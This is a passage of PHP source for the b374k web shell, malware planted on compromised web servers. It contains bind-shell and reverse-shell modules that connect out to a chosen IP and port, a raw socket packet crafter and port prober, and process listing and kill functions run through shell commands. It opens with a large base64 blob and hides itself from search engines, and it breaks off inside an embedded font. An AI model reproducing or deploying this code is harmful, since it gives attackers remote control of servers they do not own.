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";

$GLOBALS['module']['network']['id'] = "network";
$GLOBALS['module']['network']['title'] = "Network";
$GLOBALS['module']['network']['js_ontabselected'] = "";
$GLOBALS['module']['network']['content'] = "
<table class='boxtbl'>
<thead>
	<tr><th colspan='2'><p class='boxtitle'>Bind Shell</p></th></tr>
</thead>
<tbody>
	<tr><td style='width:144px'>Server IP</td><td><input type='text' id='bindAddr' value='".$server_addr."' disabled></td></tr>
	<tr><td>Port</td><td><input type='text' id='bindPort' value='".$default_port."' onkeydown=\"trap_enter(event, 'rs_go_bind');\"></td></tr>
</tbody>
<tfoot>
	<tr>
		<td style='width:144px;'>
			<select id='bindLang' class='rsType'>
				".$winbinary."
			</select>
		</td>
		<td><span class='button' onclick=\"rs_go_bind();\" style='width:120px;'>run</span></td>
	</tr>
	<tr><td colspan='2'><pre id='bindResult'>Press ' run ' button and run ' nc server_ip port ' on your computer</pre></td></tr>
</tfoot>
</table>
<br>
<table class='boxtbl'>
<thead>
	<tr><th colspan='2'><p class='boxtitle'>Reverse Shell</p></th></tr>
</thead>
<tbody>
	<tr><td style='width:144px'>Target IP</td><td><input type='text' id='backAddr' value='".$remote_addr."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>
	<tr><td>Port</td><td><input type='text' id='backPort' value='".$default_port."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>
</tbody>
<tfoot>
	<tr>
		<td style='width:144px;'>
			<select id='backLang' class='rsType'>
				".$winbinary."
			</select>
		</td>
		<td><span class='button' onclick=\"rs_go('back');\" style='width:120px;'>run</span></td>
	</tr>
	<tr><td colspan='2'><pre id='backResult'>Run ' nc -l -v -p port ' on your computer and press ' run ' button</pre></td></tr>
</tfoot>
</table>
<br>
<table class='boxtbl'>
<thead>
	<tr><th colspan='2'><p class='boxtitle'>Simple Packet Crafter</p></th></tr>
</thead>
<tbody>
	<tr><td style='width:120px'>Host</td><td><input type='text' id='packetHost' value='tcp://".$server_addr."' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
	<tr><td>Start Port</td><td><input type='text' id='packetStartPort' value='80' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
	<tr><td>End Port</td><td><input type='text' id='packetEndPort' value='80' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
	<tr><td>Connection Timeout</td><td><input type='text' id='packetTimeout' value='5' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
	<tr><td>Stream Timeout</td><td><input type='text' id='packetSTimeout' value='5' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
</tbody>
<tfoot>
	<tr><td colspan='2'><textarea id='packetContent' style='height:140px;min-height:140px;'>GET / HTTP/1.1

</textarea></td></tr>
	<tr>
		<td>
			<span class='button' onclick=\"packet_go();\" style='width:120px;'>run</span>
		</td>
		<td>You can also press ctrl+enter to submit</td>
	</tr>
	<tr><td colspan='2'><div id='packetResult'></div></td></tr>
</tfoot>
</table>
";


if(isset($p['rsLang']) && isset($p['rsArgs'])){
	$rsLang = $p['rsLang'];
	$rsArgs = $p['rsArgs'];
	$res = "";

	if($rsLang=="php"){
		$code = get_resource("rs_".$rsLang);
		if($code!==false){
			$code = "\$target = \"".$rsArgs."\"; ?>".$code;
			$res = eval_go($rsLang, $code, "", "");
		}
	}
	else{
		$code = get_resource("rs_".$rsLang);
		if($code!==false){
			$res = eval_go($rsLang, $code, "", $rsArgs);
		}
	}

	if($res===false) $res == "error";
	output(html_safe($res));
}
elseif(isset($p['packetTimeout'])&&isset($p['packetSTimeout'])&&isset($p['packetPort'])&&isset($p['packetTimeout'])&&isset($p['packetContent'])){
	$packetHost = trim($p['packetHost']);
	if(!preg_match("/[a-z0-9]+:\/\/.*/", $packetHost)) $packetHost = "tcp://".$packetHost;

	$packetPort = (int) $p['packetPort'];

	$packetTimeout = (int) $p['packetTimeout'];
	$packetSTimeout = (int) $p['packetSTimeout'];

	$packetContent = $p['packetContent'];
	if(ctype_xdigit($packetContent)) $packetContent = @pack("H*" , $packetContent);
	else{
		$packetContent = str_replace(array("
","
"), "", $packetContent);
		$packetContent = str_replace(array("
","
"), array("
", "
"), $packetContent);
	}

	$res = "";


	$sock = fsockopen($packetHost, $packetPort, $errNo, $errStr, $packetTimeout);
	if(!$sock){
		$res .= "<div class='weak'>";
		$res .= html_safe(trim($errStr))." (error ".html_safe(trim($errNo)).")</div>";
	}
	else{
		stream_set_timeout($sock, $packetSTimeout);
		fwrite($sock, $packetContent."

");
		$counter = 0;
		$maxtry = 1;
		$bin = "";
		do{
			$line = fgets($sock, 1024);
			if(trim($line)=="") $counter++;
			$bin .= $line;
		}while($counter<$maxtry);
		fclose($sock);
		$res .= "<table class='boxtbl'><tr><td><textarea style='height:140px;min-height:140px;'>".html_safe($bin)."</textarea></td></tr>";
		$res .= "<tr><td><textarea style='height:140px;min-height:140px;'>".bin2hex($bin)."</textarea></td></tr></table>";
	}

	output($res);
}

$GLOBALS['module']['processes']['id'] = "processes";
$GLOBALS['module']['processes']['title'] = "Processes";
$GLOBALS['module']['processes']['js_ontabselected'] = "show_processes();";
$GLOBALS['module']['processes']['content'] = "";

if(!function_exists('show_processes')){
	function show_processes(){
		$output = '';
		$wcount = 11;
		if(is_win()){
			$cmd = "tasklist /V /FO csv";
			$wexplode = "\",\"";
		}
		else{
			$cmd = "ps aux";
			$wexplode = " ";
		}

		$res = execute($cmd);
		if(trim($res)=='') return false;
		else{
			$output .= "<table id='psTable' class='dataView sortable'>";
			if(!is_win()) $res = preg_replace('#\ +#',' ',$res);

			$psarr = explode("
",$res);
			$fi = true;
			$tblcount = 0;

			$check = explode($wexplode,$psarr[0]);
			$wcount = count($check);

			foreach($psarr as $psa){
				if(trim($psa)!=''){
					if($fi){
						$fi = false;
						$psln = explode($wexplode, $psa, $wcount);
						$output .= "<tr><th class='col-cbox sorttable_nosort'><div class='cBoxAll'></div></th><th class='sorttable_nosort'>action</th>";
						foreach($psln as $p) $output .= "<th>".trim(trim(strtolower($p)) ,"\"")."</th>";
						$output .= "</tr>";
					}
					else{
						$psln = explode($wexplode, $psa, $wcount);
						$pid = trim(trim($psln[1]),"\"");
						$tblcount = 0;
						$output .= "<tr data-pid='".$pid."'>";

						foreach($psln as $p){
							if(trim($p)=="") $p = " ";
							$p = trim(trim($p) ,"\"");
							$p = html_safe($p);
							if($tblcount == 0){
								$output .= "<td><div class='cBox'></div></td><td><a class='kill'>kill</a></td><td>".$p."</td>";
								$tblcount++;
							}
							else{
								$tblcount++;
								if($tblcount == count($psln)) $output .= "<td style='text-align:left;'>".$p."</td>";
								else $output .= "<td style='text-align:center;'>".$p."</td>";
							}
						}
						$output .= "</tr>";
					}
				}
			}
			$colspan = count($psln)+1;
			$colspanAll = $colspan+1;
			$output .= "<tfoot><tr><td><div class='cBoxAll'></div></td><td colspan=".$colspan." style='text-align:left;'><span class='button' onclick='kill_selected();' style='margin-right:8px;'>kill selected</span><span class='button' onclick='show_processes();'>refresh</span><span class='psSelected'></span></td></tr></tfoot></table>";
		}
		return $output;
	}
}


if(isset($p['showProcesses'])){
	$processes = show_processes();
	if($processes!==false) output($processes);
	output('error');
}
elseif(isset($p['allPid'])){
	$allPid = explode(" ", $p['allPid']);
	$counter = 0;
	foreach($allPid as $pid){
		$pid = trim($pid);
		if(!empty($pid)){
			if(function_exists("posix_kill")){
				if(posix_kill($pid,'9')) $counter++;
			}
			else{
				if(is_win()){
					$cmd = execute("taskkill /F /PID ".$pid);
					$cmd = execute("tasklist /FI \"PID eq ".$pid."\"");
					if(strpos($cmd,"No tasks are running")!==false) $counter++;
				}
				else{
					$cmd = execute("kill -9 ".$pid);
					if((strpos($cmd, "such process")===false)&&(strpos($cmd, "not permitted")===false)){
						$cmd = trim(execute("ps -p ".$pid));
						$check = explode("
", $cmd);
						if(count($check)==1) $counter++;
					}
				}
			}
		}
	}
	if($counter>0) output($counter);
	else output('error');
}

$error = @ob_get_contents();
	$error_html = (!empty($error))?"<pre class='phpError border'>".str_replace("

", "
", html_safe($error))."</pre>":"";
	@ob_end_clean();
	error_reporting(0);
	@ini_set('display_errors','0');


?><!doctype html>
<html>
<head>
<title><?php echo $GLOBALS['title']." ".$GLOBALS['ver'];?></title>
<meta charset='utf-8'>
<meta name='robots' content='noindex, nofollow, noarchive'>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0">
<link rel='SHORTCUT ICON' href='<?php echo get_resource('b374k');?>'>
<style type="text/css">
@font-face {
	font-family:'ubuntumono';
	src:url(data:application/x-font-woff;charset=utf-8;base64,d09GRgABAAAAAGkYAA8AAAAAp+gAAQABAAAAAAAAAAAAAAAAAAAAAAAAAABGRlRNAAABWAAAABwAAAAcXhqiC09TLzIAAAF0AAAAXAAAAGCIf+2fY21hcAAAAdAAAAGQAAAB8qDpr+VjdnQgAAADYAAAAI4AAAIIC3AUx2ZwZ20AAAPwAAADewAABiN2vUTEZ2FzcAAAB2wAAAAIAAAACP//AANnbHlmAAAHdAAAWX4AAI8gtk/BKGhlYWQAAGD0AAAAMgAAADb2ffhhaGhlYQAAYSgAAAAdAAAAJAU1Ap5obXR4AABhSAAAAQ8AAAG8JqQbMGxvY2EAAGJYAAABtgAAAbbgHbwybWF4cAAAZBAAAAAgAAAAIAb/CJxuYW1lAABkMAAAAhwAAAWUD/sQynBvc3QAAGZMAAABeAAAAhhGAhHOcHJlcAAAZ8QAAAFTAAABipI+L6QAAAABAAAAAMmJbzEAAAAAyeW+ywAAAADKq3QOeAFjYGb8wTiBgZWBgWkPUxcDA0MPhGa8y2DE8Asoys3KyczGxMzE8oCB6X8Ag0I0AxS4OPo6MjgwcHxgYNr6P5rBkNmOYZUCA8P8MEag7gtM2UAlCgyMAF+qEYV4AWJgYGCGYhkGRgYQeAPkMYL5LAwXgLQBgwKQJQBkcTLwMsgy1DH8ZzRkDGY6xnSL6Y6CiIKUgpyCkoKVgotCicIaJdEH/9///cDw/z/YLA6QDqD+BUAdQVAdwgoSCjJAHZYYOhj///z/9f+T/4//H/o/8X/h3/9/3/x9/WDrg00PNj5Y92DGg/4HCQ807x2UvyFwW+Am0I0kA0Y2IIaxmYAEE7oCYFCwsLKxc3BycfPw8vELCAoJi4iKiUtISknLyAIkJ6+gqKSsoqqmrqGppa2jq6dvYGhkbGJqZm5haWVtY2tn7+Do5Ozi6ubu4enl7ePr5x8QCFhQcEhoWHhEZFR0TGxcfEIiQ1t7Z/fkGfMWL1qybOnylatXrVm7ft2GjZu3btm2Y/ue3Xv3MRSlpGZeqFhYkM1QlsXQMYuhmIEhvRzsupwahhW7GpPzQOzcWoakptbph4+cOHn23KnTOxkOMly+evESUKbyzHmGlp7m3q7+CRP7pk5jmDJn7uxDR48XMjAcqwJKAwAD85CxeAFjGHDAlA1l8P7/DKIYLzAw/I8Gim8Fi3L9//b/GwMXROX/Twx8QPV8QBWfGE2AWJKpgLECKMr5/zvDLwZOoPh3rJYEgckQMMsNSFoxeABJJ5A4EIcyFDPYAsWdgTwPIFkBFAsB0m5AHkg+AUi2A0VsgCJmYLYHkK2LZL4WwxAFjJLAEFNkqgQAUFElOgAAeAF9UsFu20YQXVKJrEoxygSuIYCHDDuVYUNSVSBu67qqzYpcRq6a1rIUYGn0QCqSId98yiFoAd9qMO2/DNuLc8sP9B9y6LE55pzOUpQgGXCIhT3z3pvZtzNyD9XT4eCkf/zzT09+7P1w1H0cSN/rfO8eHnzX/nb/m72vv/qy9Xmzsb1V+ww/fVjduG99vF4pf1RaK969UzAN0ZAYREBbEd3Zwm63qXOMGYiXgIiAoWBVQxBlMlhVuqw8u6F0Z0p3oTQsaIt2swESgf7xEa6N077i+E8fQ6C3WfxEx1yRJeucOA5XgKxOfSAjAknB82kiI5/7pZWyh96k3GyItFzhsMIRbeNFamwfGFlgbsv91BSldX0tFWoyHtNxX0nfdpwww4SX9aKiR2tZLzjXnsVLSBuvkz+uLTGK6vfGOI5/UVSIuSgpyCT5ne7XaQd92nnxb5WfPKEG+pLqyM16J4sLDLpbsxCSd4LN49v/VpE4R4o1653QoX7iYkzMz2PB3qio3+c42svLa1eMOKHLvprlIEb2X8Jt1UMyI828njOfPNXM5ZxZlEfo6FXJKD/Pp1W6HEGzwdPPTo0P80CFrWj0bKr/x5MEfX82t6Ei1+fAjfO3yvSLFuvjiB9xrsfQV9TCC9rAjhZkAOgdnA9UVpKX0YZHInqWV1FL+toXyCTKgmzXPeyrV+LR+zfpLth/PxK7ItQ+aNNTbEsmanxGDyN7TBCdgbIdckMeX4hqEuotoUU7b2xHf2FexW+7oZ6LmaK1WgmUaRdCvS0GIOA/2GkzYVFxlrJhRkAZtpjL+JZcwdFqH04KNa+rqYIu9bq2Ezqz7wOW7Jkn7k+lpV4WA3NP+T23WcvV2tAOyIm/ZHClKSfaYN7tFp8m05BfzBUlvc5uTnEMTJTI5DYayrZYBRLHoHCCIU6B3GOl36ZnnWSLHWCvf6qybee/kuFylvN7Cy6PyPSGioI6Z0v5Y86X0u4N+mhOQ1LC3iDRnTFvKCA5ItFX5CIkew92Z6gRYBBhECNYECTx9fvLUZK6bnIho+m+7oNH4wQHqm1n9k7Ub/YLDuiB6Bm9YafZSE3RSdG46qeucTU4Va8sIeBqqFLT6ISslNUpP1AhSBjr4fwaTpMo9LmF2ORB8jHIwANBJh6khlm8R2WcdKiCHY0favxwhhc1vsZrMTaN5v+BPasPAAAAAAH//wACeAF8ewl8XFd57zn3zp25y8xd5t6Ze2ffN400I81IGknWMpIl2bIsL/ISL1HsOJBAHBKMHsZOnJgYQkxwcIDktQR+QAJ9oe0vLUs2k7YUSKHvNU7z2pTmNQsprw/yHrjkFdrXApbf9905cuSwjHS/c+65y5xzvu3/fecM4UiGENrFPUh44iO1L1NSH/2Kz8NdaHzZK7w8+hWegyr5Mo/NAjZ/xeflfzn6FYrtTSNjlJpGLkOl17/zHe7Bi9dnuD0E3vn4pZ/RddxhEiARkmsb5GOKYt9vGLGo13pQvdq/l0xMXHyOGsHh+oVm/UJfL7VUzper8WO0yWeLA/2DzUY4ZHlpgRO8/DDvFbi9PbFyORYvlei3CuNDrWSyNTRe+OLFDxdSqQIehOD33kn/iC5zjxCJmCT0pGwSSfOYhNQb5xu0/sqr5/t6TXgtfBOFb7pce04Wu3zyv8i+LlHmHunpPlKvH+npXi3xvTFC6P/gDkOZIn/c3heQJa+gCurHND2R5D2aRwtathMjJuFScSNIgx8zzXA0Qz5GPR8TBMWXNvcG92p7E3Fb/p2AZeiBGM95f0dKJR0pAH+Culc46DlID5KDZAI/weHhet1oNpv6hUajcbkCV6j+7UajfvHVC/pzWN5+9zPw0V1KHf05/fbV6gVW7evN5Fo5HxwDTfdo+twjlMOjBJROzqduSc2n2gvJw8dTUE/OJ9sLqZuOp29O3fz5z39+/WenvgCfqc+u//5nCaFk8NJn6de5x8kA+Wrb6HOCZKEvrRlkc19ZJQvVpy69/pjiJ5u7nrr04mOSTDaXnrr02ld1slDCKwGVbC4+dekNbMhCQ3tUIwtGGe8LpKFNSstkIdT9kWC9rlUcRzhTaTUaqTPaoFyP50PNJjnbXa/VBiOR+NlgyCT1VxoXGjBRrBwGgaL6d0Gk9FeBoHg1LzT6eqtrPq3GODfQX+NKNR7ErDXQDCWp7avRXNYbspKcneRRLEK5gRottZL0f+f74n6n0h+PDVSimzduKq+3jFC7b3DYSFdj2XZvYsv2TRNbzHBs0y4llDAiuVhIlp1cX769TbnhbZwmzopGuRiKh4NyIFEeKq1blJffzTnKTMAmRCDBSz+l3+eOEZ5oIFsl0iTva298Lf5GnIv/pHapxtVeK79R5spZwlHuXp5YPOH57MBP5EsyJ7+mv6Fz+k/Cl8Jc2EOpp7+a6itcFQmYvj0cv5vQXWSiCX/nXz6PBwpOXX9l6dWl80sgO/W7q3ffDnLCWvp6mznaFFb1LpcttvqL7pSEm41B8ze0H5ilt82uDI00myN4fNqx7UjEtp39w52W4U/jGbZyhz+6eevWzZu3bdvcMzLSA8fKq9iAB2sghPAkdenfQc+OkyoZJFPU/8Rk2giCZKEIoZyBxHzVwBIkCASnByVIgkq3KJKFIp6lpADZnHb8ZCGtK0AcFK2oAw9Fe+EeA6QSZc/AN4G4ck9deh7fzLE3c0xYoXwDr1Msg1iirMINraPlsk/v7455kupRma+2PWOBgHfZNz12NJmsH3XWt7tjVV3m+6v9Xm9j5ERupnHCnA2oU8iMCxMXQCSHh1Gh8ejI6gVXWIP28AXDhktoDqu/5kNBTsdpy1apD2q5YkkFma1xKMQ1OtA/zjUbSQ54pFGVgiRTbL7MLHiS6kbBFP38jNc27C7jKiOU3lotjnbZfQPRdKSrlYg2ivbo5FQiUR6Zjmc27CxFoj3BRG+ZxqyKHZ8qSyP7C+npYi5dzkW6R9L1g5XcxmJppGDqmd5U7dpKPjqdLjVBynsW/iOfr1QSjWJymlDyHP00LYBNDhDrSfoxv19TfQFSP4/W3zX9ocu2nxZ4wetperwCD2Y4PDy2zrbXjY2EuwnanSOX9tJT3J8SnZw8R3wdifABf5BvXuQbKxnf3OuU8ZUyfqpQtkFEFmQHiIBcDWnA7jQQTZKIyPsNou0TJVJvTiB/XnkO7W9fL3FZwFjRmWEOzQZOv03fv3TIrs81epaPvOc93dydG//klqG3Xb27OrrrH28/8f0do+SK/gfJnnNEg/5gN7A/daj4HOw9GlNBxw4hoToKvw8bDUkKQt8sYojSPhCl+pV9W+0YsBltGxoud1ZLy0vX2b1uxxLDu4a7D6/t2fixW66rsL4Nk5/Tp8G/dZNm266kPZ50OKWqqVStpyKFy7YtBFLgs59tgEE932i4rAMj++z5BhBgYZKmqK9UoyCTGphNENMarYOsgqBe9rTjdAIMrUppKjZieWaFUFbTs7YwI4SHYoUtOV/Ml9uQFgO7A2J6NueLevML9KFIKyU0vckNmcyGpNDwpgYjguLnFnk1G8xvKfp8xS15MxPgFznF3xlHDebiO/T7RCH5tub1+BQqywG/h6OSTybQ91fON7HzWGsgGGiC/Qc3COY+V/vixt///Y1fpF1PPTV77hyh5IFL76YHyEeISVJt8PX3E1EMWcRUHhSuJhMXXu4I8HMXhvt67XEedZBZSZj3B4K5pONLJ3oShaJdn+3d6hE12+KroXJloJiYaJW8hJIz5O/pO2iB8CTwVY6HAnSijp2CDp15+WVa2NIZ05cBS02Te2FM+hPkfq/0II/fT1F3CmiSGVyi0+VMtlzOZsrtZK2WTNVqhJKZS/vpH3NPEx5RGAfFvZSzKOV4+IfLdRSkev1uHZ0BjAN8wIO7qL3j9/iDxLXHNfBP3wZ7rBCbVMm/PVHR0YMXmPWE0pXiFDtPoTRb0BBzbws7YEnDqFoW+n5NJ5t15vuhfL6twhUV71FR2kW8lGVlEkp8JpYgm8lTl/68XYrFyeb7CN1G3k/uI39OXiNvEC9pS/6N5Kz3s96/9vLediy50Yv3pqHV6806Z4I92TP+7gme8p+TqCRppbOhqxJntT0ELbExXAfHhyZYfxVPqtWl89WlI9Vftb50zSyvdZEFULVcVuXQFjQBVtD+VCSaTkcjqZWfH7720I03Hrr2MJ32x2vZbC3uXy3pZLRYjEbL5cKnH3nk03g090+Xy9P7m6xEns8DeQL0USdT7SKH7oyWg0DSMLmESLJX+Agvy0FDkD8q7iK6roDDn2g26+cnLjDtvHheB+10B2OCPoK/CWUGmobK++abBysj71356oeUVKFs0h9ZY/WLL83O0q/IISvoZfYAyJ8C37vJfedI96U3XEjXDUa1rbiYzkGaxXMNupVw0FCFRa1jUtE188wA82861jdWHW07hu74DFEUUpPPaD2Fgp7Pp8527ZE/Gtjl8qZRpyCayBpAKvqVDtENFVQ+lAlliv3o91rj/ADjhK80zqMqfCFS6Y9p5bxDEysfpvHuVixcSZlGohiOVjOOtyKme4bS1y7R8+nRkaGY1tXdpc0KitC1sT0cC3d19TixYsSvWqZ3RIra+t7OnKwDXfgazEmD/OzxGnKjhGACSwQRBkO47vTgBUAbecTAODUZmA23kmB4I8H8FZaPifBIHJ7FC3F2IYSqhF+iOqg3gqO7ngFJAOUATnt0vA9JFrWpghX9TCrFnyn027Yk1ZtZ6aOyHO3tJWe7rrolfBJwYtg8G91DcIKXkBjggYddZNjoQOYLDZB/ctnTXQmcB3Gaq3QAZX3ARRYw35TBDl/H5eSyHffzwtb18dpoJpQI10vORFd11EqHdvX3zfaEm+Xe2VjrqlG7ryvj0/XZ0YkBVIv1kl1ONauRwISWcbrX5fqmg+r29eWZRtynKPwGMezGd3lC6N+AXqgkRN7VnvqmRv9WoPxXBMo9LNBXLPon1rMW96hFBUuz7iWCRYigBUIfkX2iTcI+Yn1UDgT8u76kPa9xn9eoJqDWLC2hP4X4CiZCf/XvGlDrGES6BJ8D8AdTsgRS5ioR+ooMBTVq5o11m3ZWt83NbVv5EQ3FWv09wb/4bvkdtxyurrxv+jOfoYcTswvbSh3ZmULZgX6XyJfafge12F9GefAi23WGWzQoGU4RWLvA2qF8/nK7DCXeJ63Bq0zt8Lydhxuz2fAZvpIjH4mlAwE9RmPl2FlCjNxH07tV1TgrXuUKgYtHL8C4l0ACIMR0ZeAtBtC8krHIfFfdYD4yoZzKf+1Dt0Zbu0acelca2Lm+WR7MaPbwdfNeH6A42vV9yns89IRw0/7KLPBSVjzAy2CqHM4O5M3uhbmN5Vm1p1ED3g7CHH2Du5lESQ/5r+dIHhTAhJFEHdCkSFoHUoYRhlGnUCVCbIpCLBhwz0UG7RVWSlAyZdSZtkL556hhOl73Mz+D7sqDc1eEb+Txy6pnTK/XrCuZMzriimTsrKKqQvGsc5X3rLCbeRAUG/AgSzBzzFD9qtqghbJBXpimuFNZbIHueC10HEyZBvv2n1r0DVw1XfM7w+n+uW4rXNvYuOH6v0gPxKgSq+WT5ajS+vd9H7mmQWdpqL5pUFHTA7OF7